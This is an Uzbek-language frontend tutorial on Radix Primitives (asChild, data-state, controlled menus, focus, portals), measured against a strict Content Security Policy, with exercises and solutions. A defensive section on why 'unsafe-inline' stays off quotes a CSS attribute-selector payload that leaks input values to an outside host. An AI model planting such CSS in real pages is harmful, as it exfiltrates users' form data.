Natija oynasida ikkala variant ham ishladi. Chunki saytdagi natija oynasi inline <style> ga ruxsat beradi. vazifalar ning xavfsizlik siyosati esa qattiqroq. Frontend xavfsizligi darsida yozilgan CSP (Content Security Policy) sarlavhasida (kanon vercel.json va index.html):

text
default-src 'self'; script-src 'self'; style-src 'self'; …
require-trusted-types-for 'script'

style-src 'self' — "stil faqat o'z saytimizdagi .css fayllardan". JavaScript yasagan <style> tegi — begona. Kanonda modal menyuni ochib o'lchandi (holat 03, Chrome 155, 03-radix-csp.txt):

modal={true} modal={false} (kanon)
CSP buzilishi 1 (style-src-elem inline) 0
body dagi stil pointer-events: none; yo'q
fon aria-hidden 3 element 0
fokus ochilganda "CSV (Excel uchun)" "CSV (Excel uchun)"

Konsoldagi xabar (o'lchov faylida 130 belgigacha qisqartirilgan):

text
Applying inline style violates the following Content Security Policy directive 'style-src 'self''. Either the 'unsafe-inline' keyword, a hash ('sha256-nzTgYzXYD…

Tarjimasi: "Inline stilni qo'llash style-src 'self' direktivasini buzadi. Buning uchun 'unsafe-inline' kalit so'zi yoki xesh kerak…". Natija: scroll lock jim ishlamadi, konsolda xato, pointer-events va aria-hidden esa baribir qo'yildi. E'tibor bering: body.style.pointerEvents = … CSP'dan o'tdi. JavaScript'dan bitta xususiyatni o'zgartirish (CSSOM) ruxsat etilgan, <style> tegi yasash — yo'q. Floating UI ham joylashuvni xuddi shunday, style xususiyatlari orqali beradi, shuning uchun u CSP bilan chiqishadi.

Menyuga modal kerakmi? Yo'q: u kichik, tashqariga bosish va Esc uni baribir yopadi. Shuning uchun kanonda modal={false}. Dialog esa boshqa gap — unga modal kerak. Shuning uchun vazifalar dagi tasdiq oynasi Radix Dialog emas, native <dialog>: showModal() fonni brauzerning o'zi "o'chiradi", hech qanday <style> siz (<dialog> va Popover API).

8.3 Hujumchi nigohi: nega shunchaki 'unsafe-inline' qo'shmaymiz?

Eng oson yo'l — CSP'ga style-src 'self' 'unsafe-inline' yozish. Xato yo'qoladi. Lekin himoyaning bir qatlami ham yo'qoladi.

Tasavvur qiling: hujumchi vazifa matniga HTML yashirishning yo'lini topdi — masalan, kelajakdagi Markdown ko'rinishidagi xato orqali. Skriptni CSP to'sadi (script-src 'self', Trusted Types). Lekin 'unsafe-inline' bo'lsa, <style> o'tadi. CSS bilan esa ko'p narsa qilsa bo'ladi:

  • Sahifani soxtalashtirish — «Chiqish» tugmasini yashirib, o'rniga boshqa havolani "tugma" qilib ko'rsatish.
  • Ma'lumot sizdirish — atribut selektorlari bilan: input[value^="a"] { background: url(https://example.com/?a) }. Qiymat "a" bilan boshlansa, brauzer rasmni hujumchi serveridan so'raydi va unga harfni aytadi. (Bizda img-src va connect-src ham cheklangan — yana bir qatlam.)

Qoida: kutubxona sizning xavfsizlik siyosatingizga moslashsin, siyosat kutubxonaga emas. Kutubxona tanlashda "CSP bilan ishlaydimi?" — o'lchanadigan savol. Kanon aynan shunday qildi.

Tekshirib ko'ring: Natija oynasida modal misolda <style> 2 dan 3 ga oshdi va xato chiqmadi. Kanonda esa CSP buzilishi bor. Natija oynasida xavfsizlik yo'qmi?

Javob

Natija oynasining himoyasi boshqacha. U sandbox'li iframe: alohida "shaffof" origin'da, sizning saytingiz cookie'lari va ma'lumotlariga yeta olmaydi. U yerda faqat o'quvchi o'zi yozgan kod ishlaydi. vazifalar esa haqiqiy ma'lumot bilan ishlaydigan ilova: unda begona matn (vazifalar, serverdan kelgan javoblar) bor, shuning uchun har inline stil potentsial hujum yo'li. Ikki muhit — ikki xil xavf, ikki xil siyosat.

9. Radix, Base UI va React Aria

Yana ikki headless kutubxona ko'p tilga olinadi:

  • Base UI — Radix, Floating UI va MUI mualliflari jamoasining yangi kutubxonasi. shadcn 4 da init standarti — Base UI (-b base), Radix — tanlov.
  • React Aria — Adobe'ning kutubxonasi: xulq hooklari (useButton, useMenu) va tayyor komponentlar (React Aria Components). Klaviatura, ekran o'quvchi va 30 dan ortiq til uchun eng chuqur sinalgan.
Radix Base UI React Aria Components
Teg almashtirish asChild render prop o'z komponentlari, className funksiya
Holat atributi data-state="open" data-open / data-closed data-pressed, data-focus-visible …
Joylashuv Content ichida alohida Positioner Popover

API boshqacha, g'oya bitta: xulq kutubxonada, ko'rinish sizda, holat — data-atributlarda.

UI kutubxonalar xaritasi va shadcn/ui I darslaridagi o'lchovni endi CSP ko'zi bilan qayta o'qiymiz. Kanon uchala yo'lni (va yana oltita kitni) bir xil ekranda o'lchagan: uchta vazifa, «O'chirish» → tasdiq oynasi → toast, vazifalar CSP'si ostida, faqat klaviatura bilan (tajriba/kitlar-hajm.txt, kitlar-ishlat.txt):

Bir xil ekran: JS+CSS gzip
  • native <dialog> (kanon)CSP 066,8 KB
  • shadcn: Radix + sonnerCSP 490,8 KB
  • Base UI 1.8.0CSP 093,2 KB
  • React Aria 1.21.1CSP 195,1 KB

Manba: O'lchandi: tajriba/kitlar, Chrome 155, natijalar/tajriba/kitlar-hajm.txt va kitlar-ishlat.txt, 2026-10-14

Uchalasida ham klaviatura yo'li to'liq o'tdi: Enter → fokus oyna ichida → Esc → fokus «O'chirish» ga qaytdi. Hajm farqi kichik — 2–4 KB. Farq CSP'da: Base UI — 0 buzilish, React Aria — 1, Radix AlertDialog + sonner — 4.

Nega kanon Radix'da qoldi? Menyu (modal={false}) va tooltip CSP'ga mos, mavjud loyihalarning ko'pi hali Radix'da. Yangi loyihada qattiq CSP kerak bo'lsa — Base UI'ni jiddiy ko'rib chiqing. Har kit haqida batafsil — Mantine, Chakra, HeroUI va React Aria darsida.

10. Vazifalar qadami: asChild bilan Tugma (holat 04)

10.1 Nima o'zgaradi

Ikki menyuning trigger'i endi bizning Tugma — ilovadagi boshqa tugmalar bilan bir xil ko'rinish (44 px, chegara, tokenlar). Ochiq holatda chegara asosiy rangda.

bash
git switch -c refactor/aschild

BatafsilStatistika.tsx (kanon):

diff
+import { Tugma } from "../../ui/Tugma.tsx";
...
       <DropdownMenu>
-        <DropdownMenuTrigger className="hisobot-tugma">
-          Hisobotni yuklab olish
+        {/* 20/#04: asChild — Radix o'z <button> ini chizmaydi,
+            xossalarini (onKeyDown, aria-expanded, data-state,
+            ref...) BOLAGA — bizning Tugma'ga — qo'shadi.
+            data-state="open" — ochiq holat uslubi */}
+        <DropdownMenuTrigger asChild>
+          <Tugma className="hisobot-tugma data-[state=open]:border-asosiy">
+            Hisobotni yuklab olish
+          </Tugma>
         </DropdownMenuTrigger>

FoydalanuvchiMenyusi.tsx da xuddi shunday: aria-describedby endi Tugma ga yoziladi, ichida avatar rasmi va ism.

diff
-        <DropdownMenuTrigger aria-describedby="foydalanuvchi-izoh">
-          {rasm !== null && (
+        {/* 20/#04: asChild — trigger bizning Tugma (statistika
+            menyusi kabi) */}
+        <DropdownMenuTrigger asChild>
+          <Tugma
+            aria-describedby="foydalanuvchi-izoh"
+            className="data-[state=open]:border-asosiy"
+          >
+            {rasm !== null && (

Bugungi uch g'oya bir yozuvda:

  • asChild — DOM'da bitta <button>. Tugma qolgan props'ni yoyadi (...qolgan) va ref ni o'tkazadi — «"Jim" xato» bo'limidagi shart bajarilgan.
  • className birlashadi — Radix'ning Slot'i ota va bola className larini qo'shadi. Tugma ichidagi cn() ham cva sinflarini va kelganini birlashtiradi.
  • data-[state=open]:border-asosiy — Tailwind'ning data-variant'i. Ochiq holat uchun useState ham, aria-expanded ni o'qish ham kerak emas.

10.2 Tekshiruvlar

bash
git add -A
git commit

Commit (kanon): refactor: menyu trigger'lari — asChild bilan Tugma, data-[state=open]. Diff: 2 fayl, +26 −13.

Tekshiruvlar (haqiqiy, holat 04):

  • npm test — node:test pass 198, Vitest Tests 65 passed (65). lint, format:check, tip, knip — exit 0. axe — 6 ko'rinishda 0.
  • Build: birinchi yuklash JS gzip 179.1 KB — o'zgarmadi (+0.03 KB). asChild deyarli bepul: Slot allaqachon to'plamda.
  • Brauzer: 159, 72, 100 — o'tdi. 20-qism ssenariysiga uchta yangi tekshiruv:
text
✅ asChild: trigger — Tugma (bitta button, type=button, aria-haspopup): ["BUTTON",true,0,"button","menu"]
✅ asChild: data-[state=open] — chegara asosiy rangda: true
✅ asChild: foydalanuvchi menyusi ham Tugma: [true,"menu"]

Birinchi qatordagi massiv: teg BUTTON, .tugma sinfi bor (true), ichki tugmalar soni 0, type="button", aria-haspopup="menu". Ikkinchi qator — haqiqiy Chrome'da hisoblangan chegara rangi ochiq holatda --color-asosiy ga teng.

11. Ko'p uchraydigan xatolar

Belgi Sabab Davosi
<button> cannot be a descendant of <button> trigger ichida o'z tugmangiz, asChild yo'q asChild qo'shing
asChild bor, menyu ochilmaydi, xato yo'q bola props'ni yoymaydi {...rest} va ref ni elementga
data-[state=open] ishlamaydi, tooltip ham bor tooltip trigger'i tashqarida, uning data-state i yutdi menyu trigger'ini tashqariga
… is changing from controlled to uncontrolled open gohida undefined open={x ?? false}
controlled menyu yopilmaydi onOpenChange da setOpen yo'q onOpenChange={setOpen}
ro'yxat <main> da emas, xato yo'q container chizish paytida null callback ref + useState
tashqaridagi tugma birinchi bosishda ishlamaydi modal menyu: body { pointer-events: none } modal={false}
Applying inline style violates … 'style-src 'self'' modal rejim <style> qo'shadi modal={false}; dialog — native <dialog>
ikkita band birdan yonadi :hover va :focus alohida bitta [data-highlighted]
menyu ochiq, Tab hech narsa qilmaydi Radix Tab'ni to'sadi (APG'dan farq) Esc yoki band tanlash; kerak bo'lsa — o'z xulqingiz

12. Mashqlar

Mashqlar kurs/mashqlar/20/04-radix/ da. Har yechimni «Ishga tushir» bilan sinang.

1-mashq (oson): qaysi selektor?

Vaziyatga mos CSS selektorini yozing (qo'shtirnoqsiz, [data-…] ko'rinishida):

  • Menyu ochiq turganda trigger tugmasi → ]
  • Strelka yoki sichqoncha bilan tanlab turilgan band → ]
  • O'chirilgan band → ]
  • Joy bo'lmagani uchun tepaga ochilgan ro'yxat → ]
Yechim
  • [data-state=open] — Trigger'ga Radix qo'yadi (Content'da ham bor).
  • [data-highlighted] — qiymatsiz atribut: bor yoki yo'q. Sichqoncha va klaviaturani birga bezaydi.
  • [data-disabled] — disabled band (va trigger).
  • [data-side=top] — side props'iga emas, haqiqiy joylashuvga qaraydi: Floating UI ag'darsa ham to'g'ri.

Tailwind'da: data-[state=open]:…, data-highlighted:…, data-disabled:…, data-[side=top]:….

2-mashq (o'rta): ikonka tugmani tuzating

«Bahor» buyurtmalar jadvalidagi «⋯» menyusi ochilmayapti. Konsol ham jim. IconButton ni tuzating, natijada konsolda aria-haspopup: menu va data-state: closed chiqsin. aria-label saqlansin.

Ishora: «"Jim" xato: bola props'ni yoymasa» bo'limi. Qolgan props'ni yig'ish — rest sintaksisi bilan.

jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

function IconButton({ label, children }) {
  return <button aria-label={label}>{children}</button>;
}

export default function App() {
  useEffect(() => {
    const timer = setTimeout(() => {
      const b = document.querySelector("button");
      console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
      console.log("data-state:", b.dataset.state);
      console.log("aria-label:", b.getAttribute("aria-label"));
    }, 100);
    return () => clearTimeout(timer);
  }, []);
  return (
    <DropdownMenu.Root modal={false}>
      <DropdownMenu.Trigger asChild>
        <IconButton label="Buyurtma amallari">⋯</IconButton>
      </DropdownMenu.Trigger>
      <DropdownMenu.Portal>
        <DropdownMenu.Content>
          <DropdownMenu.Item>Ko'rish</DropdownMenu.Item>
          <DropdownMenu.Item>Bekor qilish</DropdownMenu.Item>
        </DropdownMenu.Content>
      </DropdownMenu.Portal>
    </DropdownMenu.Root>
  );
}

Konsolda:

text
aria-haspopup: null
data-state: undefined
aria-label: Buyurtma amallari
Yechim
jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

function IconButton({ label, ...rest }) {
  return <button type="button" aria-label={label} {...rest} />;
}

export default function App() {
  useEffect(() => {
    const timer = setTimeout(() => {
      const b = document.querySelector("button");
      console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
      console.log("data-state:", b.dataset.state);
      console.log("aria-label:", b.getAttribute("aria-label"));
    }, 100);
    return () => clearTimeout(timer);
  }, []);
  return (
    <DropdownMenu.Root modal={false}>
      <DropdownMenu.Trigger asChild>
        <IconButton label="Buyurtma amallari">⋯</IconButton>
      </DropdownMenu.Trigger>
      <DropdownMenu.Portal>
        <DropdownMenu.Content>
          <DropdownMenu.Item>Ko'rish</DropdownMenu.Item>
          <DropdownMenu.Item>Bekor qilish</DropdownMenu.Item>
        </DropdownMenu.Content>
      </DropdownMenu.Portal>
    </DropdownMenu.Root>
  );
}

Konsolda:

text
aria-haspopup: menu
data-state: closed
aria-label: Buyurtma amallari

{...rest} — children, onPointerDown, onKeyDown, aria-*, data-state, id va ref ning hammasi <button> ga yetadi. type="button" — forma ichida tasodifan yuborish bo'lmasin (Tugma dagi kabi xavfsiz standart). Ikonka tugmaning nomi aria-label da — Malika "Buyurtma amallari, menyu" ni eshitadi, "⋯" ni emas.

3-mashq (qiyin): saqlash tugaguncha yopilmasin

«Fayl» menyusida «Saqlash» bandi. Talablar:

  1. Menyu controlled: open va onOpenChange. Darsda ochiq holda boshlansin (useState(true)).
  2. «Saqlash» tanlanganda menyu yopilmaydi, band matni «Saqlanmoqda…» bo'ladi va band disabled.
  3. 250 ms dan keyin (soxta server, setTimeout) — menyu yopiladi, pastda Holat: Saqlandi.
  4. Saqlash davomida Esc va tashqariga bosish ham menyuni yopmasin.

Ishora: band — onSelect da e.preventDefault() («Bandlar turlari», oldingi dars). To'rtinchi talab — «Uchlik» bo'limidagi control props: onOpenChange da holatni o'zgartirmaslik.

Yechim
jsx
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

export default function App() {
  const [open, setOpen] = useState(true);
  const [saving, setSaving] = useState(false);
  const [status, setStatus] = useState("—");

  function save(e) {
    e.preventDefault(); // menyu ochiq qolsin
    setSaving(true);
    setTimeout(() => {
      setSaving(false);
      setStatus("Saqlandi");
      setOpen(false);
    }, 250);
  }

  function changeOpen(next) {
    if (saving) return; // saqlanayotganda — "yo'q"
    setOpen(next);
  }

  return (
    <div>
      <DropdownMenu.Root
        open={open}
        onOpenChange={changeOpen}
        modal={false}
      >
        <DropdownMenu.Trigger>Fayl</DropdownMenu.Trigger>
        <DropdownMenu.Portal>
          <DropdownMenu.Content align="start">
            <DropdownMenu.Item disabled={saving} onSelect={save}>
              {saving ? "Saqlanmoqda…" : "Saqlash"}
            </DropdownMenu.Item>
          </DropdownMenu.Content>
        </DropdownMenu.Portal>
      </DropdownMenu.Root>
      <p>Holat: {status}</p>
    </div>
  );
}

Ekranda:

text
Fayl
Holat: Saqlandi

«Saqlash» ni bosing va qarang: bir lahza menyu ochiq turadi, band matni «Saqlanmoqda…» ga o'zgaradi. 250 ms dan keyin menyu yopiladi.

Ikki dastak birga ishladi. e.preventDefault() — tanlovdan keyingi avtomatik yopilishni bekor qildi. changeOpen dagi if (saving) return — Radix "Esc bosildi, yopilay" deganda "yo'q" dedi. Bu uncontrolled menyuda mumkin emas edi: u yerda yopish qarorini Radix o'zi qiladi. Yopilish kod bilan bo'ldi (setOpen(false)), shuning uchun onOpenChange chaqirilmadi. Fokus esa baribir «Fayl» ga qaytadi — onCloseAutoFocus yopilishning sababiga qaramaydi.

4-mashq: Vazifalar qadami

refactor/aschild branch'ida ikki faylni o'zgartiring: BatafsilStatistika.tsx va FoydalanuvchiMenyusi.tsx — DropdownMenuTrigger asChild ichida Tugma, ochiq holat data-[state=open]:border-asosiy. Keyin commit.

Yechim

Tekshiruv ro'yxati:

  • DevTools Elements: trigger — bitta <button class="tugma …">, ichida boshqa tugma yo'q, aria-haspopup="menu".
  • Menyuni oching — chegara asosiy rangda; Esc — oddiy rangga qaytadi, fokus tugmada.
  • Konsolda cannot be a descendant yo'q.
  • npm test — node 198, Vitest 65; npm run tip — 0 xato. Build hajmi deyarli o'zgarmaydi.

13. Real ishda

  • Dizayn tizimlari — kompaniyaning o'z tugmasi bo'ladi. Radix (yoki Base UI) faqat xulq beradi, asChild/render orqali o'sha tugma trigger bo'ladi. Shuning uchun dizayn tizimidagi har komponent {...rest} va ref ni o'tkazadi — bu yozilmagan qoida.
  • Bank va davlat xizmatlari — CSP qattiq, ba'zan Trusted Types ham. Kutubxona "CSP bilan ishlaydimi?" — tanlovdagi birinchi savollardan.
  • Intervyu savollari: "asChild qanday ishlaydi va bola nima qilishi shart?", "controlled va uncontrolled komponent farqi?", "nega data-state bilan stil beriladi?", "portal nima uchun kerak va qanday a11y muammosi beradi?", "CSP style-src nimani to'sadi?".

Xulosa

  • Radix primitivi: Root (holat, Context) → Trigger ↔ Content, ARIA bilan ikki tomonlama bog'langan.
  • asChild — props bolaga birlashadi; bola {...rest} va ref ni yoymasa, xulq jim yo'qoladi. Ikki trigger ustma-ust bo'lsa — tashqisining data-state i yutadi.
  • defaultOpen — uncontrolled, open + onOpenChange — controlled; rejim o'rtada almashmasin.
  • Stil — data-state, data-side, data-highlighted, data-disabled va --radix-* o'zgaruvchilari bilan; Tailwind'da data-[state=open]:.
  • Fokus: ochilganda ichkariga, disabled o'tkazib yuboriladi, Esc'da tugmaga qaytadi (Radix uni setTimeout bilan qo'yadi). Tab'ni Radix to'sadi — APG esa Tab bilan menyudan chiqishni tavsiya qiladi.
  • Portal — <body> da landmark tashqarisi; container — mavjud element bo'lsin. modal <style> qo'shadi va CSP'ni buzadi — menyu modal={false}, dialog — native <dialog>.

Keyingi dars: MUI (Material UI) — tayyor dizaynli eng katta kit: tema, sx, MUI X; uning CSS-in-JS yondashuvi CSP bilan qanday kelishishini ham o'lchab ko'ramiz.

Manbalar

  • Radix Primitives: Dropdown Menu, Composition (asChild), Styling (data attributes) — radix-ui.com/primitives/docs (2026-10, @radix-ui/react-dropdown-menu 2.1.25)
  • Base UI: Menu — base-ui.com/react/components/menu (1.8.0)
  • React Aria Components — react-spectrum.adobe.com/react-aria
  • MDN: Content-Security-Policy style-src — developer.mozilla.org/docs/Web/HTTP/Headers/Content-Security-Policy/style-src
  • WAI-ARIA APG: Menu Button Pattern — w3.org/WAI/ARIA/apg/patterns/menu-button; Menu and Menubar Pattern (Keyboard Interaction: Tab) — w3.org/WAI/ARIA/apg/patterns/menubar
  • Radix manba kodi: @radix-ui/react-menu, MenuContent dagi onKeyDown — Tab'da preventDefault()
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
Radix Primitives chuqur: asChild, data-state, controlled holat, fokus, portal va modal — IlmHamroh